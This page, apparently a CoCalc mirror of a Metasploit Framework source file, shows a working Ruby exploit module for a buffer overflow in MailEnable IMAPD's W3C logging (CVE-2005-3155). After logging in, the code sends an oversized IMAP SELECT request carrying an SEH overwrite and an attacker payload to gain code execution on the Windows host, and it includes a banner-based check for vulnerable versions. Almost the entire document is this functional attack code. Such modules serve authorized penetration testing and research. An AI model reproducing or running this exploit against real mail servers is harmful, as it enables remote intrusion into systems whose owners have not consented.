CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/imap/mailenable_w3c_select.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Imap
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'MailEnable IMAPD W3C Logging Buffer Overflow',
15
'Description' => %q{
16
This module exploits a buffer overflow in the W3C logging
17
functionality of the MailEnable IMAPD service. Logging is
18
not enabled by default and this exploit requires a valid
19
username and password to exploit the flaw. MailEnable
20
Professional version 1.6 and prior and MailEnable Enterprise
21
version 1.1 and prior are affected.
22
},
23
'Author' => [ 'MC' ],
24
'License' => MSF_LICENSE,
25
'References' =>
26
[
27
[ 'CVE', '2005-3155'],
28
[ 'OSVDB', '19842'],
29
[ 'BID', '15006'],
30
],
31
'Privileged' => true,
32
'DefaultOptions' =>
33
{
34
'EXITFUNC' => 'thread',
35
},
36
'Payload' =>
37
{
38
'Space' => 600,
39
'BadChars' => "\x00\x0a\x0d\x20",
40
'StackAdjustment' => -3500,
41
},
42
'Platform' => 'win',
43
'Targets' =>
44
[
45
['MailEnable 1.54 Pro Universal', { 'Ret' => 0x1001c019 } ] #MEAISP.DLL
46
],
47
'DisclosureDate' => '2005-10-03',
48
'DefaultTarget' => 0))
49
end
50
51
def check
52
connect
53
disconnect
54
55
if (banner and banner =~ /MailEnable Service, Version: 0-1\.54/)
56
return Exploit::CheckCode::Appears
57
end
58
return Exploit::CheckCode::Safe
59
end
60
61
def exploit
62
connect_login
63
64
buf = rand_text_alphanumeric(6196, payload_badchars)
65
seh = generate_seh_payload(target.ret)
66
req = 'a01 SELECT ' + buf + seh + "\r\n"
67
sock.put(req)
68
69
handler
70
disconnect
71
end
72
end
73
74